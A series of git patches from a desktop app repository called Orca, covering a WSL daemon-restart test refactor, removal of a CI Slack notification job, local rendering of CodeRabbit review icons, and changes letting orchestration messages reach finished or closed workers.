++++++++++++++----- 1 file changed, 73 insertions(+), 25 deletions(-) diff --git a/src/main/wsl/wsl-orcad-real-distro-idle-release-lane.test.ts b/src/main/wsl/wsl-orcad-real-distro-idle-release-lane.test.ts index f6b7327eb60..14f2b6af42c 100644 --- a/src/main/wsl/wsl-orcad-real-distro-idle-release-lane.test.ts +++ b/src/main/wsl/wsl-orcad-real-distro-idle-release-lane.test.ts @@ -376,18 +376,32 @@ async function readOrcadStartupTiming() { } /** SIGTERM the active orcad, as its idle exit ends it, and wait until it is gone; the distro stays up. */ -async function stopOrcadKeepingDistro(): Promise { - const pid = Number( - ( - await guest( - `v=$(sed -n 's/.*"active": *"\\([^"]*\\)".*/\\1/p' "$HOME/.orca-remote/orcad-active.json") && cat "$HOME/.orca-remote/orcad-$v/.orcad-pid"` - ) - ).trim() - ) - if (!Number.isSafeInteger(pid) || pid <= 0) { - throw new Error('No active orcad pid to stop') +/** + * True once the active slot's orcad is proven down: stopped here, or its recorded pid is gone. + * False when nothing proves it: no active slot or pid file, or a live pid not naming the slot. + */ +async function stopOrcadKeepingDistro(): Promise { + const answer = ( + await guest( + `v=$(sed -n 's/.*"active": *"\\([^"]*\\)".*/\\1/p' "$HOME/.orca-remote/orcad-active.json"); ` + + `p=$(cat "$HOME/.orca-remote/orcad-$v/.orcad-pid" 2>/dev/null); ` + + // GONE needs evidence: a known slot and pid file whose process no longer exists. + `if [ -z "$v" ] || [ -z "$p" ] || [ -n "$(printf '%s' "$p" | tr -d 0-9)" ]; then echo UNKNOWN; ` + + `elif [ ! -e "/proc/$p" ]; then echo GONE; ` + + // Only a pid whose command line still names the active slot: a reused pid is left alone. + `elif tr '\\0' ' ' < "/proc/$p/cmdline" 2>/dev/null | grep -qF "orcad-$v/"; then echo "$p"; ` + + `else echo MISMATCH; fi` + ) + ).trim() + if (answer === 'GONE') { + return true } - await guest(`kill -TERM ${pid}`) + const pid = Number(answer) + if (answer === 'MISMATCH' || answer === 'UNKNOWN' || !Number.isSafeInteger(pid) || pid <= 0) { + return false + } + // It may exit on its own meanwhile; the wait below is what decides. + await guest(`kill -TERM ${pid} 2>/dev/null || true`) await waitFor( 'orcad to exit', async () => @@ -397,6 +411,7 @@ async function stopOrcadKeepingDistro(): Promise { 30_000, 100 ) + return true } /** @@ -412,12 +427,14 @@ async function restartThroughHost( Receipt & { phases: WslOrcadEnsurePhases | null orcadStartup: OrcadStartupTimingReport | null + orcadStopped: boolean } > { + let orcadStopped = false if (start === 'distro') { await terminatePlain() } else if (start === 'orcad') { - await stopOrcadKeepingDistro() + orcadStopped = await stopOrcadKeepingDistro() } createManager() const trace = createWslOrcadEnsureTrace() @@ -435,23 +452,38 @@ async function restartThroughHost( worktree: `path:${repoPath}` }) const createdMs = Math.round(performance.now() - started) + const tail = async (): Promise => + ( + ( + await held.call<{ terminal: { tail?: unknown[] } }>('terminal.read', { + terminal: created.terminal.handle + }) + ).terminal.tail ?? [] + ) + .map(String) + .join('\n') + // What a user sees first: the first output on screen (the prompt, or a login banner). + await waitFor( + 'the first screen output', + async () => ((await tail()).trim() ? true : null), + 120_000, + 25 + ) + const timeToFirstOutputMs = Math.round(performance.now() - started) const probe = outputProbe() const sendStarted = performance.now() + // Enter inside the text, as typing delivers it: `enter: true` would add the 500 ms settle that + // protects agent TUIs from a pasted Enter, which no keystroke pays. await held.call('terminal.send', { terminal: created.terminal.handle, - text: probe.command, - enter: true + text: `${probe.command}\r`, + enter: false }) await waitFor( 'the host terminal to print the probe', - async () => { - const read = await held.call<{ terminal: { tail?: unknown[] } }>('terminal.read', { - terminal: created.terminal.handle - }) - return (read.terminal.tail ?? []).map(String).join('\n').includes(probe.token) ? true : null - }, + async () => ((await tail()).includes(probe.token) ? true : null), 120_000, - 100 + 25 ) const firstOutputMs = Math.round(performance.now() - started) const sendToFirstOutputMs = Math.round(performance.now() - sendStarted) @@ -461,10 +493,12 @@ async function restartThroughHost( return { ensureMs, terminalCreatedMs: createdMs - ensureMs, + timeToFirstOutputMs, sendToFirstOutputMs, firstOutputMs, phases: summarizeWslOrcadEnsurePhases(trace.events), - orcadStartup + orcadStartup, + orcadStopped } } finally { held.close() @@ -602,11 +636,21 @@ function startupGateFor(runs: Receipt[], targetP50Ms: number) { p90EnsureMs: percentile(values('ensureMs'), 0.9), p50TerminalCreatedMs: percentile(values('terminalCreatedMs'), 0.5), p50SendToFirstOutputMs: percentile(values('sendToFirstOutputMs'), 0.5), + p50TimeToFirstOutputMs: percentile(values('timeToFirstOutputMs'), 0.5), + p90TimeToFirstOutputMs: percentile(values('timeToFirstOutputMs'), 0.9), meetsTarget: p50FirstOutputMs <= targetP50Ms, runs: runs.map( - ({ ensureMs, terminalCreatedMs, sendToFirstOutputMs, firstOutputMs, phases }) => ({ + ({ ensureMs, terminalCreatedMs, + timeToFirstOutputMs, + sendToFirstOutputMs, + firstOutputMs, + phases + }) => ({ + ensureMs, + terminalCreatedMs, + timeToFirstOutputMs, sendToFirstOutputMs, firstOutputMs, phases @@ -657,14 +701,18 @@ async function distroRestartBaseline(): Promise { for (let i = 0; i < RESTART_RUNS; i++) { orcadCold.push(await restartThroughHost(repoPath, 'orcad')) } + // A run that could not prove orcad down may have measured a warm reconnect: keep it out. + const stoppedRuns = orcadCold.filter((run) => run.orcadStopped) + expect(stoppedRuns.length, 'orcad-cold runs with orcad proven down').toBeGreaterThan(0) receipt.startupGate = { warm: startupGateFor(warm, WARM_START_P50_TARGET_MS), cold: startupGateFor(host, COLD_START_P50_TARGET_MS), // Reopening Orca after orcad's idle exit, distro still up: tracked against the warm bar, not gated. orcadCold: { - ...startupGateFor(orcadCold, WARM_START_P50_TARGET_MS), + ...startupGateFor(stoppedRuns, WARM_START_P50_TARGET_MS), gated: false, - medianOrcadStartup: medianOrcadStartupTiming(orcadCold.map((run) => run.orcadStartup)) + excludedNotStopped: orcadCold.length - stoppedRuns.length, + medianOrcadStartup: medianOrcadStartupTiming(stoppedRuns.map((run) => run.orcadStartup)) } } receipt.orcadStartupProfiles = await profileOrcadRestart(repoPath) From 84469d881fa6b42b62c00337ac817051c84520fd Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Fri, 30 Oct 2026 23:18:14 -0700 Subject: [PATCH 12/47] ci: remove dependency review Slack notification job (#36611) --- .github/workflows/dependency-security.yml | 58 ------------ .github/workflows/release-cut.yml | 2 - .../dependency-security-release.test.mjs | 88 +------------------ 3 files changed, 2 insertions(+), 146 deletions(-) diff --git a/.github/workflows/dependency-security.yml b/.github/workflows/dependency-security.yml index e7fc3f27a26..1e1013b8f04 100644 --- a/.github/workflows/dependency-security.yml +++ b/.github/workflows/dependency-security.yml @@ -31,10 +31,6 @@ on: description: Runner override for GitHub-hosted signing provenance. type: string default: ubuntu-24.04 - secrets: - SLACK_WEBHOOK_URL: - description: Existing orca-releases incoming webhook - required: false workflow_dispatch: permissions: @@ -52,8 +48,6 @@ jobs: if: github.event_name != 'pull_request' || github.event.pull_request.draft != true runs-on: ${{ inputs.runner || 'ubuntu-24.04' }} timeout-minutes: 15 - outputs: - audit_result: ${{ steps.audit.outcome }} steps: - uses: actions/checkout@v6 with: @@ -87,8 +81,6 @@ jobs: if: github.event_name != 'pull_request' || github.event.pull_request.draft != true runs-on: ${{ inputs.runner || 'ubuntu-24.04' }} timeout-minutes: 20 - outputs: - audit_result: ${{ steps.audit.outcome }} steps: - uses: actions/checkout@v6 with: @@ -126,53 +118,3 @@ jobs: name: dependency-security-rust path: tmp/dependency-security/*.log if-no-files-found: error - - notify: - needs: [javascript, rust] - if: >- - !cancelled() && github.repository == 'stablyai/orca' && - (needs.javascript.outputs.audit_result == 'failure' || - needs.rust.outputs.audit_result == 'failure' || - needs.javascript.result == 'failure' || needs.rust.result == 'failure') - runs-on: ${{ inputs.runner || 'ubuntu-24.04' }} - timeout-minutes: 5 - steps: - - name: Send dependency review to orca-releases - uses: actions/github-script@v8 - continue-on-error: true - env: - SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} - RELEASE_REF: ${{ inputs.ref }} - AUDIT_RESULTS: ${{ toJSON(needs) }} - with: - script: | - if (!process.env.SLACK_WEBHOOK_URL) { - core.notice('Slack notification unavailable for this run; see the dependency reports in Actions.') - return - } - const results = JSON.parse(process.env.AUDIT_RESULTS) - const checks = [['javascript', 'JavaScript'], ['rust', 'Rust']].map(([job, label]) => { - const result = results[job] - const status = result.result !== 'success' ? 'scan incomplete' - : result.outputs.audit_result === 'success' ? 'passed' : 'review suggested' - return `${label}: ${status}` - }) - const target = context.payload.pull_request - ? `PR #${context.payload.pull_request.number}` - : process.env.RELEASE_REF || context.ref - const runUrl = `${process.env.GITHUB_SERVER_URL}/${process.env.GITHUB_REPOSITORY}/actions/runs/${process.env.GITHUB_RUN_ID}` - const text = `Orca dependency review for ${target}\n${checks.join(' · ')}\nReports and logs: ${runUrl}` - let response - try { - response = await fetch(process.env.SLACK_WEBHOOK_URL, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ text, mrkdwn: false, unfurl_links: false, unfurl_media: false }), - signal: AbortSignal.timeout(15000) - }) - } catch { - throw new Error('Slack dependency review notification could not be sent') - } - if (!response.ok) { - throw new Error(`Slack dependency review notification returned HTTP ${response.status}`) - } diff --git a/.github/workflows/release-cut.yml b/.github/workflows/release-cut.yml index 57b0316ca88..3bcd08cd539 100644 --- a/.github/workflows/release-cut.yml +++ b/.github/workflows/release-cut.yml @@ -697,8 +697,6 @@ jobs: with: ref: refs/tags/${{ needs.cut.outputs.tag }} runner: ubuntu-latest - secrets: - SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} terminal-rendering-golden: needs: cut diff --git a/config/scripts/dependency-security-release.test.mjs b/config/scripts/dependency-security-release.test.mjs index 9166381776c..b2a163ec406 100644 --- a/config/scripts/dependency-security-release.test.mjs +++ b/config/scripts/dependency-security-release.test.mjs @@ -3,7 +3,7 @@ import { tmpdir } from 'node:os' import { dirname, join } from 'node:path' import { runProcess } from '@orca/process-host' import { runInNewContext } from 'node:vm' -import { expect, it, vi } from 'vitest' +import { expect, it } from 'vitest' import { parse } from 'yaml' const release = parse(readFileSync('.github/workflows/release-cut.yml', 'utf8')) @@ -59,97 +59,13 @@ it('scans the release tag with read-only workflow tooling instead of installing } }) -it('keeps audit outcomes for notifications while allowing findings to pass CI', () => { - expect(audit.secrets.SLACK_WEBHOOK_URL).toBe('${{ secrets.SLACK_WEBHOOK_URL }}') - expect(security.on.workflow_call.secrets.SLACK_WEBHOOK_URL.required).toBe(false) - const notify = security.jobs.notify - expect(notify.needs).toEqual(['javascript', 'rust']) - expect(notify.steps[0]['continue-on-error']).toBe(true) +it('allows audit findings to pass CI', () => { for (const name of ['javascript', 'rust']) { const job = security.jobs[name] expect(job.steps.find((step) => step.id === 'audit')['continue-on-error']).toBe(true) - expect(job.outputs.audit_result).toBe('${{ steps.audit.outcome }}') - for (const status of ['success', 'failure']) { - for (const outcome of ['success', 'failure']) { - for (const cancelled of [false, true]) { - const needs = { - javascript: { result: 'success', outputs: { audit_result: 'success' } }, - rust: { result: 'success', outputs: { audit_result: 'success' } } - } - needs[name] = { result: status, outputs: { audit_result: outcome } } - expect( - runInNewContext(notify.if, { - needs, - github: { repository: 'stablyai/orca' }, - cancelled: () => cancelled - }) - ).toBe(!cancelled && (status === 'failure' || outcome === 'failure')) - } - } - } } }) -async function sendNotification({ - webhook = 'https://example.test/slack', - ref = '', - pullRequest, - fetch = vi.fn().mockResolvedValue({ ok: true }) -} = {}) { - const notice = vi.fn() - await runInNewContext(`(async () => { ${security.jobs.notify.steps[0].with.script} })()`, { - process: { - env: { - SLACK_WEBHOOK_URL: webhook, - RELEASE_REF: ref, - GITHUB_SERVER_URL: 'https://github.com', - GITHUB_REPOSITORY: 'stablyai/orca', - GITHUB_RUN_ID: '123', - AUDIT_RESULTS: JSON.stringify({ - javascript: { result: 'success', outputs: { audit_result: 'failure' } }, - rust: { result: 'success', outputs: { audit_result: 'success' } } - }) - } - }, - context: { payload: { pull_request: pullRequest }, ref: 'refs/heads/main' }, - core: { notice }, - fetch, - AbortSignal - }) - return { fetch, notice } -} - -it.each([ - { pullRequest: { number: 1234 }, target: 'PR #1234' }, - { ref: 'refs/tags/v1.5.0', target: 'refs/tags/v1.5.0' } -])('sends a dependency review with the target and report link: $target', async (options) => { - const { fetch } = await sendNotification(options) - const [url, request] = fetch.mock.calls[0] - expect(url).toBe('https://example.test/slack') - expect(request.method).toBe('POST') - const payload = JSON.parse(request.body) - expect(payload.text).toContain(`Orca dependency review for ${options.target}`) - expect(payload.text).toContain('JavaScript: review suggested · Rust: passed') - expect(payload.text).toContain('https://github.com/stablyai/orca/actions/runs/123') - expect(payload.mrkdwn).toBe(false) -}) - -it('retains fork reports without requiring a Slack secret and redacts delivery errors', async () => { - const { fetch, notice } = await sendNotification({ webhook: '' }) - expect(fetch).not.toHaveBeenCalled() - expect(notice).toHaveBeenCalledOnce() - await expect( - sendNotification({ - fetch: vi.fn().mockRejectedValue(new Error('fetch failed: https://example.test/slack')) - }) - ).rejects.toThrow(/^Slack dependency review notification could not be sent$/) - await expect( - sendNotification({ - fetch: vi.fn().mockResolvedValue({ ok: false, status: 503 }) - }) - ).rejects.toThrow(/^Slack dependency review notification returned HTTP 503$/) -}) - it('extracts release data while excluding executable package and Cargo configuration', async () => { const root = mkdtempSync(join(tmpdir(), 'release audit data ')) const source = join(root, 'source') From 93f85830331efa6bbd4a13a7a5a88ebceb5b2c90 Mon Sep 17 00:00:00 2001 From: Jinjing <6427696+AmethystLiang@users.noreply.github.com> Date: Fri, 30 Oct 2026 23:25:25 -0700 Subject: [PATCH 13/47] Render CodeRabbit review icons in git comments (#36198) * Render CodeRabbit review icons locally in git comments - Replace trusted external SVGs with themed Lucide icons - Suppress picture sources to prevent remote image fetches * Fix code review icon rendering in git comments --- .../checks-panel/comment-row.tsx | 7 +- .../review-comment-markdown.fixture.tsx | 44 ++++++ .../review-comment-markdown.test.tsx | 102 +++++++++++++ .../checks-panel/review-comment-markdown.tsx | 137 ++++++++++++++++++ .../right-sidebar/pr-comment-presentation.ts | 6 +- .../comment-markdown-element-renderers.tsx | 2 +- 6 files changed, 293 insertions(+), 5 deletions(-) create mode 100644 src/renderer/src/components/right-sidebar/checks-panel/review-comment-markdown.fixture.tsx create mode 100644 src/renderer/src/components/right-sidebar/checks-panel/review-comment-markdown.test.tsx create mode 100644 src/renderer/src/components/right-sidebar/checks-panel/review-comment-markdown.tsx diff --git a/src/renderer/src/components/right-sidebar/checks-panel/comment-row.tsx b/src/renderer/src/components/right-sidebar/checks-panel/comment-row.tsx index c9cd3dfe477..f0a9ec75971 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/comment-row.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/comment-row.tsx @@ -2,6 +2,7 @@ import React, { useCallback, useEffect, useState } from 'react' import { Button } from '@/components/ui/button' import { cn } from '@/lib/utils' import CommentMarkdown from '@/components/sidebar/CommentMarkdown' +import { reviewCommentMarkdown } from './review-comment-markdown' import { CommentReactions } from '@/components/github/CommentReactions' import { isBotPRComment } from '../../../../../shared/pr-comment-audience' import type { GitHubReactionContent, PRComment } from '../../../../../shared/github/comment-types' @@ -322,7 +323,11 @@ export function CommentRow({
) : (
- + Minor** · **Functional Correctness** · **Quick win** + +
Supported by static analysis + +The callback then discards the result from \`openChromeWebStore()\`. + +
+ +**Handle rejected Web Store tab creation before completing the tour.** + +\`performContextualTourStepAction\` calls \`finishTour()\` before it schedules \`openChromeWebStore()\`. + +** Major** · **Security & Privacy** + +** Critical** · **Functional Correctness**` + +export const narrow = defineFixture({ + width: 360, + render: () => ( +
+
+ +
+
+ ) +}) + +export const expanded = defineFixture({ + ...narrow, + width: 540, + interact: (frame) => { + frame.querySelector('summary')?.click() + } +}) diff --git a/src/renderer/src/components/right-sidebar/checks-panel/review-comment-markdown.test.tsx b/src/renderer/src/components/right-sidebar/checks-panel/review-comment-markdown.test.tsx new file mode 100644 index 00000000000..b3c73c2a35d --- /dev/null +++ b/src/renderer/src/components/right-sidebar/checks-panel/review-comment-markdown.test.tsx @@ -0,0 +1,102 @@ +import { renderToStaticMarkup } from 'react-dom/server' +import { describe, expect, it } from 'vitest' +import CommentMarkdown from '@/components/sidebar/CommentMarkdown' +import { reviewCommentMarkdown } from './review-comment-markdown' + +const iconBase = 'https://storage.googleapis.com/coderabbit_public_assets/review-comment-icons-v1/' + +describe('review comment icons', () => { + it('renders CodeRabbit picture icons locally without loading images or source sets', () => { + const markup = renderToStaticMarkup( + Minor** · **Functional Correctness** · **Quick win** + +
Supported by static analysis + +Handle rejected Web Store tab creation before completing the tour. + +
`} + /> + ) + + expect(markup.match(/') + expect(markup).toContain('Supported by static analysis') + expect(markup).toContain('Handle rejected Web Store tab creation') + expect(markup).not.toMatch(/ { + const markup = renderToStaticMarkup( + + ) + expect(markup).toContain(' { + const markup = renderToStaticMarkup( + + ) + expect(markup).toContain('href="https://example.com/unknown.svg"') + expect(markup).toContain('>External image') + expect(markup).not.toMatch(/ { + const markup = renderToStaticMarkup( + + ) + expect(markup).toContain('>External image') + expect(markup).not.toMatch(/ { + const otherSurface = renderToStaticMarkup( + + ) + expect(otherSurface).toContain(`href="${iconBase}amber-16.svg"`) + expect(otherSurface).not.toContain(' + ) + expect(review).toContain('([ + ['book-open', BookOpen], + ['bot', Bot], + ['brush-cleaning', BrushCleaning], + ['ci-failure', CircleX], + ['clock-alert', ClockAlert], + ['cog', Cog], + ['common-learnings', BookOpen], + ['file-minus-corner', FileMinusCorner], + ['file-no-changes', FileCheck], + ['file-plus-corner', FilePlusCorner], + ['file-similar', Files], + ['file-too-large', FileWarning], + ['file-unavailable', FileX], + ['folders', Folders], + ['git-commit-horizontal', GitCommitHorizontal], + ['individual-learning', UserRound], + ['info', Info], + ['layers-plus', LayersPlus], + ['learnings', BookOpen], + ['linked-repositories', Link], + ['message-square-more', MessageSquareMore], + ['message-square-off', MessageSquareOff], + ['message-square-x', MessageSquareX], + ['network', Network], + ['plug', Plug], + ['review-details', SearchCode], + ['route', Route], + ['shield-plus', ShieldPlus], + ['wrench', Wrench] +]) + +const severityIcons = new Map([ + ['amber', CircleAlert], + ['critical', TriangleAlert], + ['high', TriangleAlert], + ['informational', Info], + ['major', TriangleAlert], + ['neutral', CircleMinus], + ['priority-low', CircleMinus], + ['priority-normal', CircleAlert], + ['priority-urgent', TriangleAlert], + ['risk-high', ShieldAlert], + ['risk-low', ShieldCheck], + ['risk-normal', ShieldAlert], + ['risk-unassessed', ShieldQuestion], + ['risk-urgent', ShieldAlert] +]) + +const CompactImage = compactCommentMarkdownComponents.img + +const components: Components = { + picture: ({ children }) => <>{children}, + source: () => null, + img: ({ src, alt }) => { + // Substitute local icons; review comments must not gain a remote-image fetch path. + const name = src + ?.match( + /^https:\/\/storage\.googleapis\.com\/coderabbit_public_assets\/review-comment-icons-v1\/([a-z0-9-]+)\.svg$/ + )?.[1] + ?.replace(/-dark$/, '') + const severity = name?.match(/^(.+)-(?:16|20)$/)?.[1] + const Icon = name + ? (icons.get(name) ?? (severity ? severityIcons.get(severity) : undefined)) + : undefined + if (!Icon) { + return CompactImage ? : null + } + + const color = + severity === 'critical' || severity?.endsWith('urgent') + ? 'text-destructive' + : severity === 'amber' || + severity === 'major' || + severity === 'high' || + severity === 'risk-high' + ? 'text-status-warning-text' + : 'text-muted-foreground' + + return ( + + + ) + } +} + +export const reviewCommentMarkdown: CommentMarkdownExtension = { + remarkPlugins: [], + sanitizeAttributes: {}, + components +} diff --git a/src/renderer/src/components/right-sidebar/pr-comment-presentation.ts b/src/renderer/src/components/right-sidebar/pr-comment-presentation.ts index 6a738242f9a..35d8614a469 100644 --- a/src/renderer/src/components/right-sidebar/pr-comment-presentation.ts +++ b/src/renderer/src/components/right-sidebar/pr-comment-presentation.ts @@ -88,9 +88,9 @@ const MARKDOWN_BASE = cn( '[&_code]:text-[0.92em] [&_pre]:text-xs [&_pre_code]:text-[1em] [&_table]:text-[12px]', // Use absolute caption sizes because nested sub/sup percentages compound into illegible text. '[&_sub]:text-[11px] [&_sup]:text-[11px]', - // Nested sub wrappers compound image offsets; neutralize only image wrappers, preserving real subscripts. - '[&_sub:has(img)]:bottom-0 [&_sub:has(img)]:align-middle', - '[&_sup:has(img)]:top-0 [&_sup:has(img)]:align-middle', + // Nested sub wrappers compound image/icon offsets; preserve real subscripts. + '[&_sub:has(img,svg)]:bottom-0 [&_sub:has(img,svg)]:align-middle', + '[&_sup:has(img,svg)]:top-0 [&_sup:has(img,svg)]:align-middle', '[&_pre]:max-h-none [&_pre]:max-w-full [&_pre]:whitespace-pre-wrap', '[&_table]:w-full [&_table]:max-w-full' ) diff --git a/src/renderer/src/components/sidebar/comment-markdown-element-renderers.tsx b/src/renderer/src/components/sidebar/comment-markdown-element-renderers.tsx index 3d7ada8158f..21afc08d1e2 100644 --- a/src/renderer/src/components/sidebar/comment-markdown-element-renderers.tsx +++ b/src/renderer/src/components/sidebar/comment-markdown-element-renderers.tsx @@ -225,7 +225,7 @@ export function createCompactCommentMarkdownComponents(
) - } + } satisfies Components } export function createDocumentCommentMarkdownComponents( From 6c2fde67f5d187745923481320091cbfab017ae0 Mon Sep 17 00:00:00 2001 From: Jinwoo Hong <73622457+Jinwoo-H@users.noreply.github.com> Date: Sat, 31 Oct 2026 02:27:21 -0400 Subject: [PATCH 14/47] Let send talk to a worker in any state, reopening closed workers for follow-ups (#36533) orca orchestration send --to dispatch: now works whatever the worker's state: a working worker reads it now; a finished worker still open gets it as a follow-up Task in place; a closed worker is reopened in its saved conversation, or started fresh with the earlier task and report when no conversation is saved. Unread mail at worker_done becomes a follow-up automatically. An older paired server refuses send to a finished worker with an update message. --- skill-guides/orchestration.md | 17 +- .../references/coordinator-loop.md | 11 - .../references/low-level-topology.md | 6 + src/cli/bundled-skill-guides.ts | 34 +- .../handlers/orchestration/agent-view.test.ts | 30 ++ .../orchestration/message-send-handler.ts | 30 +- .../orchestration/worker-agent-views.ts | 3 + .../orchestration/worker-launch-handler.ts | 13 +- .../worker-observation-handlers.ts | 3 + .../orchestration/worker-start-agent-view.ts | 33 ++ src/cli/orchestration-mutation-recovery.ts | 12 + src/cli/runtime/client.ts | 4 + src/cli/specs/orchestration-worker-specs.ts | 2 +- .../runtime/orca-runtime-agent-transitions.ts | 12 + src/main/runtime/orca-runtime.ts | 6 + .../orchestration/db/contract-constants.ts | 2 +- .../worker-follow-up-lineage.ts | 193 +++++++++++ .../worker-report-settlement.ts | 2 + .../orchestration/db/dispatch-row-writer.ts | 8 +- .../orchestration/db/row-column-lists.ts | 4 +- .../db/schema/create-core-tables-sql.ts | 4 +- .../db/schema/create-graph-tables-sql.ts | 6 +- .../orchestration/db/schema/migrate-v46.ts | 21 ++ .../orchestration/db/schema/migrate.ts | 2 + .../worker-dispatch/worker-dispatch-start.ts | 26 +- .../worker-terminal-resource-store.ts | 12 +- .../worker-terminal-transfer.ts | 11 +- .../worker-terminal-user-keep.ts | 2 +- .../orchestration-schema-version-skew.ts | 5 +- .../structured-session-mail-target.test.ts | 1 + src/main/runtime/orchestration/types.ts | 4 + .../worker-terminal-ownership.ts | 2 + .../federation/federated-worker-show.ts | 2 +- .../messaging/send-control-mail.ts | 9 +- .../orchestration/messaging/send-methods.ts | 59 +++- .../settled-worker-follow-through.ts | 259 ++++++++++++++ .../messaging/worker-follow-up.ts | 146 ++++++++ .../deliver-worker-dispatch-preamble.ts | 1 + .../worker/dispatch-context-exposure.ts | 31 ++ .../worker/local-worker-start-dispatch.ts | 8 +- .../worker/local-worker-start.ts | 35 +- .../worker/worker-auto-release.test.ts | 10 +- .../orchestration/worker/worker-control.ts | 2 +- .../worker/worker-earlier-work.ts | 66 ++++ .../worker/worker-follow-up-choice.ts | 213 ++++++++++++ .../worker/worker-follow-up-placement.ts | 141 ++++++++ .../worker/worker-follow-up.test.ts | 315 ++++++++++++++++++ .../worker/worker-observation.test.ts | 3 +- .../worker/worker-observation.ts | 31 +- .../worker/worker-release-archive-capture.ts | 2 + .../worker/worker-release-archive.spec.ts | 18 + .../worker/worker-resume-session-capture.ts | 59 ++++ .../worker/worker-start-agent-placement.ts | 31 +- .../worker-start-readiness-settlement.ts | 8 +- .../worker/worker-start-turn-observation.ts | 2 + .../worker/worker-stop-archive.ts | 7 +- .../methods/orchestration/worker/workers.ts | 223 +++++++------ .../rpc/orchestration-mutation-receipt.ts | 3 +- .../runtime-orchestration-db.test-fixture.ts | 2 + .../structured-chat-worker-reuse.test.ts | 150 ++++++++- .../automation-operations.ts | 3 + 61 files changed, 2092 insertions(+), 268 deletions(-) create mode 100644 src/main/runtime/orchestration/db/dispatch-context/worker-follow-up-lineage.ts create mode 100644 src/main/runtime/orchestration/db/schema/migrate-v46.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/messaging/settled-worker-follow-through.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/messaging/worker-follow-up.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/worker/dispatch-context-exposure.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/worker/worker-earlier-work.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-choice.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-placement.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up.test.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/worker/worker-resume-session-capture.ts diff --git a/skill-guides/orchestration.md b/skill-guides/orchestration.md index 20a52f6da62..a3e3e628333 100644 --- a/skill-guides/orchestration.md +++ b/skill-guides/orchestration.md @@ -42,8 +42,13 @@ ORCA orchestration worker-start --spec "" --worktree current --agent codex - Add `--model` only if the user named one. - If `worker-start` fails, do not rerun it; read `failedStage` and load `references/recovery-and-cleanup.md`. -- To steer a worker, use - `ORCA orchestration send --to dispatch: --subject "" --body ""`. +- To talk to a worker, use + `ORCA orchestration send --to dispatch: --subject "" --body ""` + in any state: a working worker reads it now; a finished or closed one gets it + as a follow-up Task and reports with `worker_done`. The receipt says which. + Except on a paired server: a finished worker there refuses `send`, so start + new work there with `worker-start --on ` (load + `references/placement-and-remote.md` first). Never: @@ -65,9 +70,9 @@ Never: - Lost track? `ORCA orchestration inbox --terminal run: --limit 50` shows mail `check` already handled. -Finished workers close on their own unless the user chose Keep open. If the user -wants to watch a worker, start it with `--keep-open`; to keep one already started, -run `ORCA orchestration worker-keep-open --dispatch `. +Finished workers close on their own; `send` reopens one when you need it again. +If the user wants to watch a worker, start it with `--keep-open`; to keep one +already started, run `ORCA orchestration worker-keep-open --dispatch `. If `worker-list` shows no `autoReleaseAt` for a finished worker, release it yourself. ## Task spec @@ -93,7 +98,7 @@ assignment does not prove its agent stopped. | Situation | Reference | | ---------------------------------------------- | ----------------------------------------- | -| Task DAGs, several Runs, reusing a worker | `references/coordinator-loop.md` | +| Task DAGs, several Runs | `references/coordinator-loop.md` | | Child worktrees, SSH, WSL, a connected server | `references/placement-and-remote.md` | | Group messages, inbox scripts | `references/messaging-and-gates.md` | | A failed or unknown worker; retry, stop, reset | `references/recovery-and-cleanup.md` | diff --git a/skill-guides/orchestration/references/coordinator-loop.md b/skill-guides/orchestration/references/coordinator-loop.md index efdba6e54ac..c94372dd376 100644 --- a/skill-guides/orchestration/references/coordinator-loop.md +++ b/skill-guides/orchestration/references/coordinator-loop.md @@ -19,14 +19,3 @@ On every wake, start the Tasks `task-list --ready` shows. A later `run-create` keeps your earlier Runs: their mail still wakes you, but commands without `--run` use the newest Run, so pass `--run ` for an earlier one. `run-use` keeps only the Run it names. - -## Reusing a worker - -To give a finished worker follow-up work, create the Task, then start it on the -`terminal` and `workspace` from that worker's `worker-start` receipt or -`worker-list` row: - -```text -ORCA orchestration task-create --spec "" -ORCA orchestration worker-start --task --terminal --worktree -``` diff --git a/skill-guides/orchestration/references/low-level-topology.md b/skill-guides/orchestration/references/low-level-topology.md index 34c1b55be0f..27a969f0858 100644 --- a/skill-guides/orchestration/references/low-level-topology.md +++ b/skill-guides/orchestration/references/low-level-topology.md @@ -5,3 +5,9 @@ ORCA terminal create --worktree active --title --command " --for tui-idle --timeout-ms 60000 --json ORCA orchestration dispatch --task --to --inject ``` + +To give a Task to a terminal or chat Orca did not start: + +```text +ORCA orchestration worker-start --task --terminal --worktree --json +``` diff --git a/src/cli/bundled-skill-guides.ts b/src/cli/bundled-skill-guides.ts index eb85ea07f84..f7cdf09263c 100644 --- a/src/cli/bundled-skill-guides.ts +++ b/src/cli/bundled-skill-guides.ts @@ -2520,8 +2520,13 @@ const ORCHESTRATION_MARKDOWN = [ "- Add `--model` only if the user named one.", "- If `worker-start` fails, do not rerun it; read `failedStage` and load", " `references/recovery-and-cleanup.md`.", - "- To steer a worker, use", - " `ORCA orchestration send --to dispatch: --subject \"\" --body \"\"`.", + "- To talk to a worker, use", + " `ORCA orchestration send --to dispatch: --subject \"\" --body \"\"`", + " in any state: a working worker reads it now; a finished or closed one gets it", + " as a follow-up Task and reports with `worker_done`. The receipt says which.", + " Except on a paired server: a finished worker there refuses `send`, so start", + " new work there with `worker-start --on ` (load", + " `references/placement-and-remote.md` first).", "", "Never:", "", @@ -2543,9 +2548,9 @@ const ORCHESTRATION_MARKDOWN = [ "- Lost track? `ORCA orchestration inbox --terminal run: --limit 50`", " shows mail `check` already handled.", "", - "Finished workers close on their own unless the user chose Keep open. If the user", - "wants to watch a worker, start it with `--keep-open`; to keep one already started,", - "run `ORCA orchestration worker-keep-open --dispatch `.", + "Finished workers close on their own; `send` reopens one 